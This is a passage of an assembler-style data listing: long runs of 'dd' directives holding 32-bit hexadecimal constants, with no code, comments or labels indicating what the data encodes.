0B2B6442Ch, 0AE47EFBAh, 31DB7BEEh dd 916B773h, 0DA641BB3h, 0AF49A535h, 50977BC6h, 4CF7D567h dd 0E85CDE49h, 84E7CC61h, 0F9314121h, 0D556A5B7h, 9370A706h dd 986BBBF8h, 2B9A7564h, 82E8B1A7h, 7270DEBBh, 0A8DDCF55h dd 9AEB85E9h, 0F1EEA8BCh, 0F6339169h, 0A845A371h, 0BE2BB40h dd 0DDDB4179h, 26DE2413h, 0BFF087EBh, 0E05479DEh, 47E21827h dd 5A5EF615h, 0F55B7AC3h, 2F5B71Ah, 23FA9BB1h, 418F8369h dd 84805793h, 0F1C57084h, 1EAF168Fh, 0B4734D5h, 4B8B0915h dd 5BC762D1h, 94704468h, 3B7FE1B6h, 0EDEE9D71h, 0B399D779h dd 0A9BC2CC7h, 58A1905h, 0D879EC11h, 0CD589D74h, 0B71476F1h dd 773FA4C9h, 4B6430A6h, 9964FF7Eh, 0F7861346h, 2BB3910Fh dd 0A0C653B9h, 87552CC0h, 57337636h, 0BD2E6BBh, 3F7D72E0h dd 0CD5A07DDh, 4F987ED2h, 0A8A0906h, 9D237623h, 919DBD9Eh dd 0CBD9C5A3h, 4D352FF2h, 5804E71Ch, 1E571BC2h, 92281F1h dd 0DA240225h, 0A5DE9239h, 0D4301144h, 9A44573Bh, 0E200B619h dd 2D6C37E2h, 60007144h, 3BAD5AC0h, 0C5F44CC4h, 78248998h dd 73E4628Ah, 0DBF1A546h, 8DAA53DCh, 0A96D56A2h, 98EB85EFh dd 6D86924h, 1B322B5Bh, 0B8C6D828h, 364D57D5h, 0E2248862h dd 4210CC6h, 36E6F369h, 4FD1E022h, 0E8E28759h, 5A76060Ah dd 0C261FCD3h, 0FAE66CB4h, 23C8EA46h, 8F15AB0h, 0EBFFBE45h dd 30787005h, 0A4F6ED71h, 984924BDh, 0F0435234h, 0F8D55122h dd 2BB884Eh, 8AA79DC0h, 0A058B864h, 432C4758h, 0B25CA5B5h dd 0FDF64F4Fh, 5B6E6618h, 0DF2D9365h, 9E17B12Ah, 0A22A5BB1h dd 0D314B533h, 0A4484B6h, 76888699h, 0CDEB5701h, 4F10E554h dd 0CE72C23Fh, 2533273Bh, 0DCD2EAB8h, 0C10706A8h, 0E087E82Ch dd 71D0DE6h, 5A58DC19h, 0F75033DBh, 7E73617Ah, 73383AC6h dd 4D2105C1h, 51C2D145h, 9DE17384h, 0E100C6D6h, 0C899E0BBh dd 9C15ADE7h, 968C312Eh, 67BBB98Eh, 0C7428849h, 9E03738h dd 0D5C539FBh, 21D3FCC5h, 0BF88B386h, 0DC148DC1h, 4A046285h dd 0CB5BB1C9h, 0E2801EB5h, 6B3D8EDh, 0A1917B41h, 0A96CF2F4h dd 0ABBBD74Dh, 373900B0h, 5D3143CAh, 0AA0043Fh, 0ADFA3E79h dd 0A9CFDA68h, 88D1D0ABh, 0CEE94F96h, 329E468Dh, 0C4092ACDh dd 6672E717h, 1A393A26h, 0B2CC4BECh, 2E52CC3Ah, 2CFDF9h dd 634D7CBEh, 0C5BF9F58h, 0E8F909C5h, 128A2EA6h, 0CC53186Bh dd 0BD2A1E61h, 0AF85B4DBh, 0C2484AC5h, 5C08A62Bh, 60736471h dd 8859B79Eh, 4319F52Ch, 0C7F9A1A2h, 31C05B10h, 0C7333C72h dd 62145336h, 0AF875B76h, 9293AFECh, 0FF8E2F3Ch, 82F45ED4h dd 42241E92h, 672C6D69h, 3E8E6B64h, 608627D1h, 171D1F89h dd 429B6B8h, 0C0FA63B0h, 45A1BF9Dh, 4B861EC8h, 4D3DE949h dd 52ADADBAh, 0F6E56D84h, 0E9CCC08h, 3A5F95D6h, 17723C4Fh dd 47BDA122h, 6E7DA101h, 0D67A98FEh, 69F93255h, 92930748h dd 7BA72574h, 0CABCF39h, 7E4789F7h, 3AAF6BFEh, 0E0B706B2h dd 0B2705739h, 21F144A2h, 6FB7BDE6h, 0AB94EC99h, 7E97BF25h dd 32C6307Ch, 53B2B513h, 95DEC438h, 7DC2EC66h, 0B5280B3Bh dd 0D1883FD0h, 0D69C741h, 5A869E24h, 911393E3h, 66E06CDEh dd 4BC5AF94h, 5D3FF2C5h, 52A5AD3Ah, 18776E84h, 0BE0F0A0Ch dd 96874F60h, 46D58033h, 203D512Eh, 8B7B3963h, 0B7F0AF0Dh dd 85F16E5Dh, 3DAA1722h, 6894B062h, 0C85CC0h, 0DB99006Dh dd 9A5BBD5Eh, 0F825B1DCh, 4FD04E9Dh, 9959214Eh, 19147BE9h dd 805FDE4Fh, 7A9BE43Bh dd 3AC63CBCh, 63B2AD9Fh, 0DFB79B4h, 64D32296h, 93CD04B2h dd 0E027797Eh, 71ECE79h, 5A00B6EBh, 62127AFBh, 1204582Bh dd 0A6704CA9h, 7C157672h, 509EFDB3h, 75EADF91h, 771BC6E3h dd 43F4ECEh, 42159833h, 28BD612Eh, 738D1774h, 423BDEB9h dd 510E97F7h, 95E49459h, 6436A56Ah, 0FDE41F00h, 8971F0BAh dd 2BBFE960h, 0E5F55A0Fh, 6AAD33BBh, 298E214Ah, 78EB7B8Bh dd 0D58413F9h, 864BF547h, 3304AFECh, 63A2504Fh, 0C8247E43h dd 0BDD3CC06h, 400EEC57h, 0B9C74529h, 22E12413h, 4A6826B9h dd 61B23EFCh, 377A7C0Eh, 33B2367Dh, 16C38B69h, 9E87E806h dd 0ACA31072h, 0FEBAE9F3h, 0D7040C56h, 66052B0h, 0D42D61D2h dd 26634DA4h, 0E5DD2F45h, 0EDE748B1h, 9CDE17B5h, 2AD02C41h dd 69368F98h, 8D95817Bh, 0C98B9D68h, 0C4CC3A98h, 36D42EEDh dd 0AA6745B0h, 2A7E7BDFh, 8209EF53h, 0FA538138h, 9C392D13h dd 56755CFBh, 3DDB1A8Bh, 1908B397h, 19A53F70h, 0D5C282Ah dd 0E8E18076h, 75911EC9h, 0C44AEB0Bh, 973FEBF5h, 0DC4E31C5h dd 45788129h, 50C6CE45h, 0F08B71F1h, 15F0C4Fh, 0E8DDE06Eh dd 0EAEC95B0h, 0D3D582C5h, 0C0A8A8BEh, 5EDCE2CCh, 0AD1B671Dh dd 0FCCF1766h, 30F920C3h, 59F424D0h, 9CEC109Eh, 0E5646ADDh dd 0FB3C5999h, 0EAD95B64h, 28E84CC1h, 0E37C5F85h, 4494EFF0h dd 14C6D21h, 0B3D17D83h, 5AB25390h, 11AEA06Eh, 0DA6FB11Ah dd 0A85EAC9Ah, 88D10F88h, 92931E95h, 0A596E139h, 21562643h dd 78FA06BEh, 49B0AC19h, 27076FE9h, 135C37C5h, 25818573h dd 0EB4FFD99h, 0D6C4F886h, 9A815D35h, 958D34D1h, 59477798h dd 0B7D462E9h, 4F874167h, 6A6092C2h, 52A55A65h, 15A44028h dd 0A696F732h, 66CB889Eh, 14E0A1C8h, 391B052Ah, 7DA76CB2h dd 84959E00h, 0CB84EB11h, 90EC8617h, 653947BCh, 5BB3393Fh dd 6DDB8148h, 13972F68h, 7875F64h, 51BA4063h, 28F647CEh dd 396C949h, 0E8ECEE42h, 0FB3ADDF9h, 23AFC71Bh, 4D6905C3h dd 0C55DBD46h, 8A761184h, 1D7F786h, 0C61A482Bh, 0E4F60CA0h dd 6264E546h, 97A88077h, 0FC8D21B6h, 4F81EC67h, 0D9D8E81Eh dd 153EA564h, 40BBA503h, 0C839009Fh, 0E56B9DBFh, 0E8D9BDBEh dd 0E9005B43h, 0AE22B803h, 96300E77h, 8EECE37Ch, 1EABD0BDh dd 8C6FA26h, 0DCE10BE7h, 5D251524h, 0B82C6F8Bh, 500EB530h dd 3B38DFF4h, 0E81FA790h, 2F965918h, 443A43ABh, 0A1137FCEh dd 0A0513F0Eh, 4D6905ADh, 531DB83Ah, 6E854484h, 0FE6C5C70h dd 0ACD18C4Ah, 4F00F2B1h, 98C224A3h, 0A6E6B798h, 0ABD03172h dd 0F0EC7361h, 0E66AEB0Ch, 3408A665h, 9C6FC94Eh, 8A89FF60h dd 631B8899h, 1694A1CAh, 0A13F911Bh, 3364CDC6h, 0A1ECFE10h dd 47D21106h, 32BBFD0Fh, 6AC67D64h, 0C3B2AC7Dh, 0F1CEA565h dd 0EEC33E66h, 3FF5BFC2h, 0A8A50739h, 0E813C26Dh, 52017D1Ch dd 7500EB72h, 0ED0438E8h, 0DCA1047Ah, 58F2055Ch, 0BFA55085h dd 638D95B5h, 6C560Ch, 29CFB04Bh, 54A57568h, 9C410638h dd 78BAECE4h, 0F78F1E89h, 2411BEB9h, 63B2428Ah, 43EA522h dd 29F6A4C3h, 4F92009Fh, 15061630h, 0A713403h, 7280A493h dd 0DD1431D7h, 859D7B6Eh, 695986BFh, 0F553C024h, 3EC6D1ABh dd 0C337D8E8h, 0CD24A4FEh, 2DDCC3F0h, 841BBC7Fh, 5C10F3Bh dd 0E8C38711h, 5A03C59Ah, 9DC873DBh, 1201E2BEh, 73533F55h dd 0B1C71D16h, 2A24BCC5h, 8AA18A84h, 0CB9873A3h, 9FB84BC0h dd 0B335F8E9h, 603FD2AAh, 48338567h, 0FF2E6195h, 7525748Ah dd 28BCFF59h, 4D4D5A65h, 0EB8BC94Eh, 3199FF60h, 9D2B9298h dd 2A95A43Bh, 30CD4B72h, 0DD9BC12Eh, 2C1411F9h, 0A3843664h dd 0E6BB5549h, 9069D142h, 0F34E9D24h, 0ADE6DF22h, 87C3239Eh dd 0C08BF27Eh, 0D82D0830h, 0DB0A68C1h, 0DF79B59Dh, 2894647Bh dd 7A84EFBEh, 23ABC039h, 0BD098D24h, 50FD50BAh, 75AA8791h dd 27F34FE3h, 43EAA03Eh, 43CA89B0h, 4C6F197Eh, 12EEE867h dd 71D15BC4h, 0FCAEC81Dh, 9D517CCh, 38FEF565h, 9E874CEEh dd 411E68C1h, 98B68D64h, 284E5DC7h, 99C9B320h, 4BD312Ah dd 4591F6F6h, 0E57B1125h, 26976A0Ch, 3F6077FDh, 0F3B28D1Ah dd 31DBD0BFh, 4583DF67h, 400E57D9h, 0D5FA698h, 0E8E00B98h dd 5AEC582Dh, 0CDEFD433h, 125DF5E6h, 0F61A2949h, 8988F796h dd 0C5B1C5C9h, 75CBDD85h, 0AFAFD61Fh, 360729B3h, 5425924Fh dd 9EC11D38h, 0CFA70CE4h, 0FBDC6A89h, 6DFEA092h, 128E02B6h dd 7FBB59Ah, 0FBEB4CA8h, 26A90068h, 9DF73171h, 0D7143CD6h dd 0E53FA4AAh, 5D4837CEh, 869122B9h, 3209E3CDh, 0DD440C84h dd 9F2CD06Dh, 1EA254CDh, 0C22B56B7h, 853B7666h, 990E7752h dd 85A62747h, 0E71F7217h, 0A5390A86h, 9DED2BDEh, 146DBC8Eh dd 7A563EACh, 4CDA12C1h, 0F4EBF145h, 0B61BBD0Dh, 76E91A30h dd 6166BF6h, 583C0073h, 0EAE9427Eh, 0B386A43Ah, 90D75621h dd 1DEAC8F2h, 653717B5h, 0B112B5E7h, 67CAB3CEh, 0F1B1019Eh dd 0E2E47E8Bh, 0DF843A98h, 0B13983FDh, 0C5E43122h, 849D8246h dd 0B9EED942h, 2B44E65Bh, 5738299Dh, 7C562C59h, 111FD4CDh dd 685A2212h, 6AE62385h, 0D8D2EFE1h, 1619273Dh, 521AEA65h dd 9DC929BBh, 0C632867Eh, 0E72B3EE6h, 8A7440E5h, 0D0622BC1h dd 4CB63A41h, 0EACF3DF2h, 0D1C75846h, 0E3B59D81h, 3BD38875h dd 0CFE0DBA4h, 1CDEBA05h, 54EF93BEh, 5528FCB6h, 0D595A1D9h dd 24F31749h, 0D8EE0459h, 9CAB9D9Ah, 52D5CCC0h, 31A82EA1h dd 0D570156Ah, 1FCCF173h, 32D12DC2h, 2E5750A1h, 276E79EEh dd 0A3B35139h, 81AF45CDh, 0D82C3A99h, 0D00F6998h, 7731EA24h dd 1F778E61h, 0A57A3477h, 9DED13CEh, 0CAF4866Eh, 694FD139h dd 150EF472h, 2A55ECCCh, 77BD2744h, 0FFD00Ch, 162A44Ah dd 0B5DC40C5h, 0BF312Dh, 0AD512DA0h, 1624EF6Dh, 0BC0C787h dd 26097F49h, 0B1E1B59Ah, 57F7B06Eh, 69853D1Ah, 69FB8D6Ah dd 0D286BEDFh, 0AA00AB70h, 5A533E6Ah, 5114884Dh, 5A9D06D9h dd 4FE22C9Bh, 37C93B5Eh, 0A60559A1h, 4DDBA13Ah, 0A86427C9h dd 500E9B74h, 6FB8379Dh, 4E46D87Fh, 0AA6660F2h, 0F9793BE3h dd 0FA976E96h, 0DC59126Bh, 9785230h, 4FC4202Dh, 6BA9B4D4h dd 0BA9931F3h, 843093E2h, 0C88A1D56h, 0BF6949F2h, 0C95F5867h dd 182DE19Ah, 7843BB26h, 0ABA117A5h, 81F0A562h, 0EE0CB314h dd 191CECDCh, 9EAE1965h, 0A2EEB1C2h, 664CB392h, 0D63DCEC9h dd 0BA69FB9Fh, 0EF01E179h, 7ABBD306h, 2F39F07Fh, 0AC6103D9h dd 0AD40BCCh, 9283C8DBh, 0B5F18F0Eh, 50DA2F22h, 0D39CC87Dh dd 2FAAF005h, 453783FBh, 216FFE5Eh, 7A5A3E2Ah, 4CFF15C0h dd 7791C045h, 694E4D84h, 0A61FCC20h, 0C17FDDF9h, 56BAB5A0h dd 9840ACD8h, 99B14037h, 923A4E49h, 403EC831h, 3BC7FF10h dd 449F5A65h, 4A6C48B6h, 6C7E0141h, 196C92B3h, 0C77141D1h dd 4680D2Ch, 0DD1BCEEDh, 83917495h, 6DECFE1Ch, 0E6ABD3F3h dd 0D8C6FAA7h, 4277B0E8h, 48B35333h, 0C5C32C49h, 0BFF1B1B1h dd 0F93A9996h, 4EE0F865h, 0DF9ED08Ch, 0F50EDF33h, 280B999h dd 0DC767071h, 0D0165316h, 5989A8C4h, 459F86C1h, 0FFF09877h dd 16DDFC3Eh, 2912ADB0h, 3DC0BEFCh, 41B70C0Fh, 4DE27649h dd 9C98481Dh, 7BA9DB0Ch, 4081264Bh, 0DABCA4CCh, 9E00FF7Ah dd 86DF6296h, 5E81E467h, 6B05D198h, 0D760F14Dh, 9EBA8ACh dd 57F9688Dh, 0ABBE23Bh dd 6AB2EFC1h, 727260E5h, 8825ECF3h, 0ECD31A52h, 2858DF7Ah dd 772DEAFAh, 9210D305h, 0A575C0C1h, 97F2A78Eh, 4B7711ECh dd 2344B9D1h, 9EF5E2B9h, 461454BAh, 4A165E93h, 140C420Ch dd 3C9841CFh, 6D5BCDE9h, 7F57612Eh, 6A4B17B5h, 9D69361Fh dd 589BC81Ch, 76A4E30Bh, 278EB5ECh, 2FF74C18h, 658ED17Ch dd 1C5E7449h, 2FD9B1EFh, 0D1005A5Fh, 0A7A1BCCAh, 0D6FC2EB1h dd 67B1697h, 0C532CD20h, 9B36EF78h, 63B26076h, 0DD22C0B0h dd 0AD6EF591h, 0F701DB7Ah, 0CD5BC18Ch, 15005A5Ch, 4918D51Dh dd 9D182D3Eh, 2FCF1A0Eh, 2392C05Bh, 0DB321F1Dh, 0C751ABC5h dd 5A0E8FBDh, 301981Bh, 4FEED5C1h, 0D27AADB0h, 7D3FB602h dd 0CD65598Fh, 162C47B6h, 7B3DE413h, 0AE2E133Eh, 8B1CC170h dd 0EB27CF30h, 0BC0DC003h, 9D7BD8D7h, 3B91B1EEh, 0CE1BDFFBh dd 29F2BACFh, 881478FDh, 317BE93Bh, 2BBD9F4h, 1FEE2C55h dd 0C2E68821h, 648341CCh, 57A7AD1Ah, 0C47E618Ah, 683A27CAh dd 4E0077ADh, 7018359Ch, 9DCCED63h, 0C3BD060Eh, 0DCC83D86h dd 4C35361Ch, 7A124255h, 0C95FA67Bh, 0FC5007D6h, 0D9CF882Eh dd 7C456A47h, 6DBE696Bh, 365DA867h, 0E42CA1B6h, 9FC44315h dd 59F58AA6h, 3961FC67h, 8EAB4C23h, 0F28D7579h, 0E3644804h dd 61DD9B0h, 50684AA4h, 11BCE12h, 4F3EAA19h, 0D2DAB629h dd 0BDE6312Dh, 0F8CFBB95h, 7772E64Eh, 21EF4020h, 0C5C3746Fh dd 0BFF1079Ch, 0B4F7AC92h, 1710477Ch, 5A6EFD7Dh, 350E5313h dd 0F99A6E12h, 0AAC501CEh, 1A945D0Ch, 533C2992h, 207E3084h dd 0C08F55F3h, 3A2F943Eh, 38FA9D99h, 0B4B68DEAh, 0DC3D770Dh dd 0B3C96119h, 4CD3B71Fh, 8BD347BEh, 44EC5938h, 57E7714Ch dd 2E691086h, 602E107Fh, 1F1F59B8h, 119A555h, 586431E2h dd 0C5ED8F10h, 8B82039Bh, 2D7C5544h, 0FEFE5D5h, 0E3E68B21h dd 248347CCh, 0CB388116h, 16B6A727h, 0CB3A07D4h, 4EFFA85Eh dd 5DBD5D48h, 88E46C1Bh, 28A1256h, 0CB8D29BAh, 0B33EF84Ah dd 0AD2965C0h, 91F380B5h, 63E8E98Ch, 2AF780E8h, 44C555AAh dd 4E823277h, 2FA46897h, 735DB3Dh, 293BC81Ch, 962D3EBDh dd 0ADB5FBC7h, 12141123h, 76D0E50Eh, 1C7B9542h, 0C06C3AB8h dd 0B86A1EC2h, 0B587457h, 49327A69h, 81406A09h, 320799A3h dd 723935FDh, 4BA7166Bh, 4DDA6086h, 5A6FFDEEh, 0A85E34B3h dd 88D23966h, 10EAFE09h, 0ADD1D02Bh, 1E1BD35Ch, 668B69B3h dd 2BFB23CAh, 0BB7FB4E4h, 4771A23Ah, 4A6E1207h, 0EF7B38AAh dd 0C25EB256h, 7FF80A0h, 23C75ED9h, 2E94268Fh, 0EE814749h dd 95DFC338h, 9E1ACEE5h, 0C3742015h, 8F43B330h, 0DAD926D0h dd 0E2C8C44Fh, 0F665B1E6h, 0BC19D6C6h, 0EFE1BCC6h, 0EAEB876Eh dd 6FA2D610h, 4DE2853Bh, 0FAB43A4Bh, 2C4D958Fh, 9BF7527Eh dd 348A7E60h, 37A242C2h, 582F819h, 7D510B17h, 306D1FE9h dd 0F71886ABh, 9F8B8BDEh, 0DC7A607Ch, 4CA761D6h, 539D49BAh dd 8AE32584h, 489F7887h, 3D58CF8Eh, 781A604Fh, 0C647C12Eh dd 0D64DDFCBh, 95784BB6h, 39FC27E3h, 6A924C0Eh, 529966C5h dd 80F73A7h, 70C16A87h, 0AF4E6217h, 5B61B118h, 0C840DF6Fh dd 3AE05BE2h, 0AB14AE0Bh, 0C59117BBh, 27ABDC26h, 12CFB3B8h dd 0D64D36B8h, 8DDA4696h, 3C38BC51h, 0F81B3C19h, 0DBC20F1Ah dd 0EAB992ABh, 9A5C85E5h, 5E43F2F3h, 9171E8FBh, 75DFC075h dd 4CF058BEh, 0AF435CCAh, 5FA136EEh, 0ED709843h, 2C2F7B7h dd 109231C4h, 1838C12Eh, 38B2DEFDh, 0DBCC611Ah, 7CDDB71Eh dd 8BEE9288h, 12BF693h, 370BB177h, 7022C0B6h, 0DAA66226h dd 2D07E100h, 0BDBDE6A7h, 26A4B4BEh, 4C69FBA0h, 42879DDCh dd 55ED9B04h, 6FC48EABh, 0E64D3623h, 0EDDA4996h, 0B38C9AE9h dd 9DE27615h, 6D5AA223h, 441D7BD5h, 3065E86Ah, 0F71806BBh dd 78948BBEh, 4B8BB6B9h, 5CC9E927h, 0AD475F2Fh, 0B505C8EEh dd 0FDBDA7E6h, 0B7A7B52Eh, 142F9AA6h, 4DA8F1D2h, 2BB3EC57h dd 0A55ADB3Ch, 0C09CDC1Ch, 3157FC8Eh, 0E4D741DDh, 0A2844CCEh dd 0FF320068h, 7AB89DF8h, 0B632B117h, 0F8C75A44h, 4DE43052h dd 4151F5A1h, 0F878AD41h, 0CCEB30DEh, 42C665FCh, 0F3B29977h dd 0CBAF75ABh, 5143759Fh, 7033EB4Eh, 0FDD3FFE5h, 0E8C9645Dh dd 9A5CD216h, 5D292F28h, 0FE1C3ACEh, 75D91E04h, 2434013Eh dd 0AF3E5FFAh, 4A2430EEh, 0E07C0Ch, 18E3C3Eh, 0B40EAD35h dd 71387746h, 0FC29A067h, 0AC8A0E49h, 0ED3303F6h, 6BC09E5Eh dd 0A2C0D16Eh, 18FC7826h, 1D30597Fh, 271E6242h, 8081B11Bh dd 40784F49h, 0B5ED21A6h, 654F26E6h, 0F46161EDh, 0F4E8C057h dd 37CF0669h, 93BD640Ch, 3DB0B644h, 9063739Eh, 787E749h dd 0CDC2767h, 1701F7F3h, 0C005E393h, 0CA09EC1Dh, 0EF21F461h dd 0E000CD79h, 68C1EBACh, 51EAB616h, 0C31FCE7Bh, 2DEE835h dd 3D743A4Bh, 8547EDA5h, 6446463Eh, 35B355DFh, 2432AEC0h dd 0F924C1D2h, 7C6F0324h, 93C2A54Eh, 7ACB5931h, 0D9281080h dd 146E4690h, 6BE44EB6h, 8C905A49h, 0C1B6DA62h, 0F4449CF4h dd 8438FD57h, 5E3ECF5Bh, 3ABA3E0Ah, 80C7635Bh, 989C411Fh dd 47F51197h, 130E9949h, 751BFA1Ch, 0D784D75Ch, 58D01281h dd 7619ACD3h, 82839F7Eh, 1E98DDE5h, 4CB737D9h, 61BA5DB0h dd 5E41617Bh, 0ED30904Bh, 75D2DB69h, 0CEA5D4Dh, 2D675EDEh dd 0E7EE64EEh, 0D63F171Ch, 0E5CE970Fh, 8952444Eh, 0DBDC9AF0h dd 0CD7B26CEh, 0EABCFF80h, 17FB9DE8h, 0DC113426h, 0A2414C3Eh dd 26645BBEh, 0CA141349h, 13848298h, 8ABB06F5h, 4D5337D4h dd 0B3B3775Bh, 7C25D82Eh, 0E5BB6A6Eh, 0A81EEFABh, 98D30176h dd 0DB142808h, 0D37E350Ch, 0E8C2E918h, 82831F51h, 1E97DDC5h dd 4CB13798h, 506B4D30h, 4B4B8B91h, 36C87E3h, 0DD6DFC1h dd 85FBACF0h, 89EF312Eh, 274ED072h, 0BC1AEF59h, 0E1D03750h dd 0D6D39126h, 68DE4D88h, 762EB331h, 65F9477Eh, 76FB9D1Ah dd 0C33167C4h, 5CEDDF35h, 0B0B4CE45h, 0A1E8A154h, 90016598h dd 1F4420E5h, 0C8C7D77Bh, 4337EB4Ch, 0D254ED0h, 5280690Bh dd 40F32F5Dh, 0FD135AFDh, 8714D850h, 677E5571h, 9D1928D3h dd 0DD14633Bh, 0C7031A26h, 4D4CCC97h, 2C0159C5h, 0B450D421h dd 9893710Ch, 0A8041CD2h, 0E0F94D40h, 32FE21DAh, 26B3499Fh dd 0BF5F9349h, 142F481Dh, 8B8FEB0Bh, 0B6B2F574h, 0A366B39Dh dd 5F89007Ch, 61DBE8DAh, 0D3ED21F7h, 0A6F067AEh, 4C1131B6h dd 0F1EBB6DAh, 823CFD87h, 6DEDCF3Bh, 3FC4882Bh, 0C4AEF23h dd 5153E971h, 3B80AD3Bh, 0CF0ED823h, 0E2D3ADEEh, 0A714C842h dd 0D37E7574h, 0E9A66928h, 13688875h, 0B9EDDDF6h, 1FAD33FFh dd 52B14DBAh, 8D2F2D84h, 2DF58CA5h, 9BB718C3h, 7B03A04Fh dd 88EA412Eh, 214E9072h, 191A6F59h, 0CC126CBDh, 2A82F2C7h dd 84DAA0A4h, 3071A9Dh, 97910057h, 0E1279D9Eh, 7F99E102h dd 0FB805A9Dh, 4E79BCEBh, 2EEB86ADh, 0BE78E8EDh, 0F6538F24h dd 7E39305Fh, 0D9DAAAB2h, 0CECAB3F9h, 2DF2E68Eh, 7157BA4Bh dd 74564219h, 47FEF8BFh, 556EAAEDh, 1066C6F3h, 0ED6C60ABh dd 21EC8D66h, 0B33F32E9h, 0AFF4F8D0h, 3E5EBB94h, 575B29Bh dd 0E1B8EBC5h, 0BFBBDB1h, 8BC2B9ABh, 0A53E5898h, 0A0246485h dd 5D543AB3h, 6EFFE8B4h, 6ECCA5F3h, 0D87B4C1Dh, 0A572FC38h dd 4ABE62FCh, 5A41B0F1h, 5CBA9E67h, 3BA4B7B1h, 5B91BFC9h dd 437B14A3h, 8A625793h dd 0E3BCB1AEh, 234D8EC9h, 10689D0h, 2D56A266h, 363C5C3Fh dd 7466C8AEh, 0E8FDE8BDh, 5A9D2994h, 0C392E5EBh, 4F746965h dd 0C7FA887Ah, 4895DE28h, 0C89E5B45h, 5B16E980h, 138F27Eh dd 2737EFC1h, 823B8567h, 0E1342877h, 0EC4F139Fh, 0C6235BC4h dd 0B982C81Ch, 0B60137ECh, 0C65A4CFh, 0D7679A51h, 0BBC4E8DDh dd 47E29D00h, 0D7453582h, 2E50A51Eh, 23B4CE09h, 0AD2B11EDh dd 45EEEB5Fh, 86D1D981h, 0ECC1B913h, 0BE28E8Ch, 5DDA9DADh dd 5047A699h, 80884D4Ah, 89D7B6E6h, 52C56F48h, 5A61D565h dd 10666703h, 78C8584Bh, 4A72345Dh, 5C98E79Ch, 5F332E3Ah dd 4BF7A091h, 29DBEE3h, 0CF770C3Ch, 0C7D6A9DAh, 789331D6h dd 0FD58C80Dh, 0C3CB1E9Ch, 5A2D4B96h, 0BA0EEAD7h, 7C58C015h dd 92EE48A1h, 0BF135076h, 0BCE39D6Ah, 5381B0DAh, 0B63FA695h dd 5964CFD2h, 0AEEC1C62h, 209EF22h, 86D18963h, 0FD513C94h dd 0ECA27066h, 2825615Ah, 7DD34DFFh, 0B65572Fh, 0E2C33F3Fh dd 7F020D4Bh, 4A60004Eh, 629E58F4h, 1264F80Bh, 0C17AB669h dd 84732229h, 0F9D15A5Ah, 436669C4h, 90C07B10h, 0A707623Fh dd 927B400Fh, 82C5E4D1h, 124D3072h, 0F5FC3659h, 0E93B27E3h dd 0F70F1750h, 53CAF5D6h, 8D4F4C1Dh, 0B3616A8Fh, 8E9B48B3h dd 0D30DC5F1h, 0A37DC2F2h, 916A5A58h, 2FFC69E5h, 1084EB5Fh dd 70D389CBh, 6D293C07h, 6BB21AF2h, 0DDA4B55h, 0D22FC498h dd 40F0C150h, 74A6C4FBh, 0EA9E6AB3h, 0D33BF595h, 0CEA090FFh dd 0C71548B8h, 221B4E19h, 4CF03583h, 5C334F3Ah, 888B2A84h dd 0E1DCBD76h, 2B02FB6Dh, 0A8B9D4Ch, 6886D2E8h, 1D3074C7h dd 27B068CCh, 0A09377D2h, 0FCCC264Dh, 0C5F966CDh, 0FFB7CF2Eh dd 0AB914503h, 8E97D88Dh, 93B9B064h, 0CA4055E6h, 22645846h dd 0A46186F9h, 0B48C9EC7h, 0FA464DAEh, 7AF9B82Eh, 27C78F14h dd 7DC470C7h, 0BD93EF67h, 0AA1922BBh, 77D34DF5h, 62FD673Bh dd 0C2750A6Dh, 6273EDE6h, 7661C8Bh, 327123A5h, 8FD8D920h dd 0F030DC10h, 0C0516DD7h, 0BF2973B6h, 0C7528BC2h, 9D0E6DE6h dd 0F4E0B12Eh, 0F1C597A0h, 21DA74A1h, 8A5D6EE3h, 595E09A4h dd 12FD59E3h, 873F4DA1h, 0E451008Ah, 1E873914h, 2EC93319h dd 50895E90h, 4A23AAFh, 7769A6C4h, 13DB2B01h, 0AB5750F0h dd 12B068DDh, 70A29CF1h, 51C8FFh, 0B9A63C7Bh, 0C31528D7h dd 8CAF227Ah, 1077B995h, 0D488C45Ch, 10638DA3h, 7AC95B8Bh dd 227F58E6h, 397B3903h, 0A8A2B2C9h, 0B6DA017Bh, 3A3AB1F3h dd 0F07B84Ah, 0F624625Bh, 0A88CC922h, 83E65867h, 793FE18Eh dd 47B6E0BAh, 87DBFF19h, 980BA596h, 69D4C1C7h, 0B6254507h dd 71B6144h, 0FEE1F584h, 5B935A8Eh, 569BCA37h, 8A148425h dd 0D070AEA1h, 2744202Eh, 6F39C0E3h, 0D3460E36h, 0EE8C875Fh dd 52FC197h, 0D00D8610h, 77146A6Eh, 7C6C4EDh, 129D51E2h dd 0F530A240h, 29AB6EFh, 0DDB7E911h, 7DDE60D6h, 0FB871385h dd 8823F90Dh, 42522AA6h, 0CEC6983Eh, 83E5E358h, 252822Eh dd 818E2847h, 0D8205ECCh, 3022671Ch, 920EE85Fh, 0BC82D069h dd 5970B3EAh, 0D2D5C40Dh, 0E59B18C2h, 3A044F14h, 4480DF66h dd 0AAB4CDBFh, 64EB874Dh, 0F101B279h, 0EE8ADD3Fh, 563BD61Fh dd 2F3B2835h, 0CB895BF7h, 98F3E3Fh, 6479DA4Fh, 0ACAFA09Fh dd 63FDDA08h, 7862E263h, 5B60A6F0h, 666523ADh, 0CA3C4CBDh dd 4C862582h, 0D424159Ch, 0B9A02A0h, 0A38FA5EEh, 3153773Fh dd 80DD79C4h, 0F4FF820Ch, 0CC81E13h, 7597DD69h, 43C0F10Bh dd 0C4214E4Fh, 2C89BB7Eh, 758A15CBh, 24C90348h, 84E8C65Fh dd 0AEE95581h, 4D405ACAh, 42642FB9h, 0D42186DAh, 5B94EA1Eh dd 3ABB0C9Dh, 6FEDCBD7h, 0F3B01B25h, 0D432182Ah, 6E2C4597h dd 885F9Ah, 88BB75F5h, 9A025736h, 0A58134E4h, 7B0B3D44h dd 7A8AE36Ah, 326F0C4Fh, 4C813AC1h, 5E96A7C5h, 8FF5E87Bh dd 7F442EE7h, 8E1C5E5h, 7CDB6535h, 3745F1D1h, 1F8EEE37h dd 0C5C15BC4h, 0A98EC81Ch, 96790BACh, 0A11BFCCFh, 0B978ACCBh dd 4F5768DFh, 0E7538D06h, 47A1B0DFh, 25005AEBh, 821957B4h dd 95D0FA72h, 6868624Bh, 0C3328DA8h, 57193D27h, 0FEE39B75h dd 8B8999AAh, 0AB838E97h, 0E7655D5Fh, 0E0C31355h, 7037BA8h dd 5A614615h, 63F1E543h, 0D6195C71h, 2DAEDC49h, 4C80A6ECh dd 80DF27C5h, 0CEE71084h, 56049F3h, 1A51C46Eh, 33337DB0h dd 6AEAE1FAh, 8E0FC865h, 0DB3CAEA1h, 6B1A341Ch, 51E3D4C6h dd 0B956A2E3h, 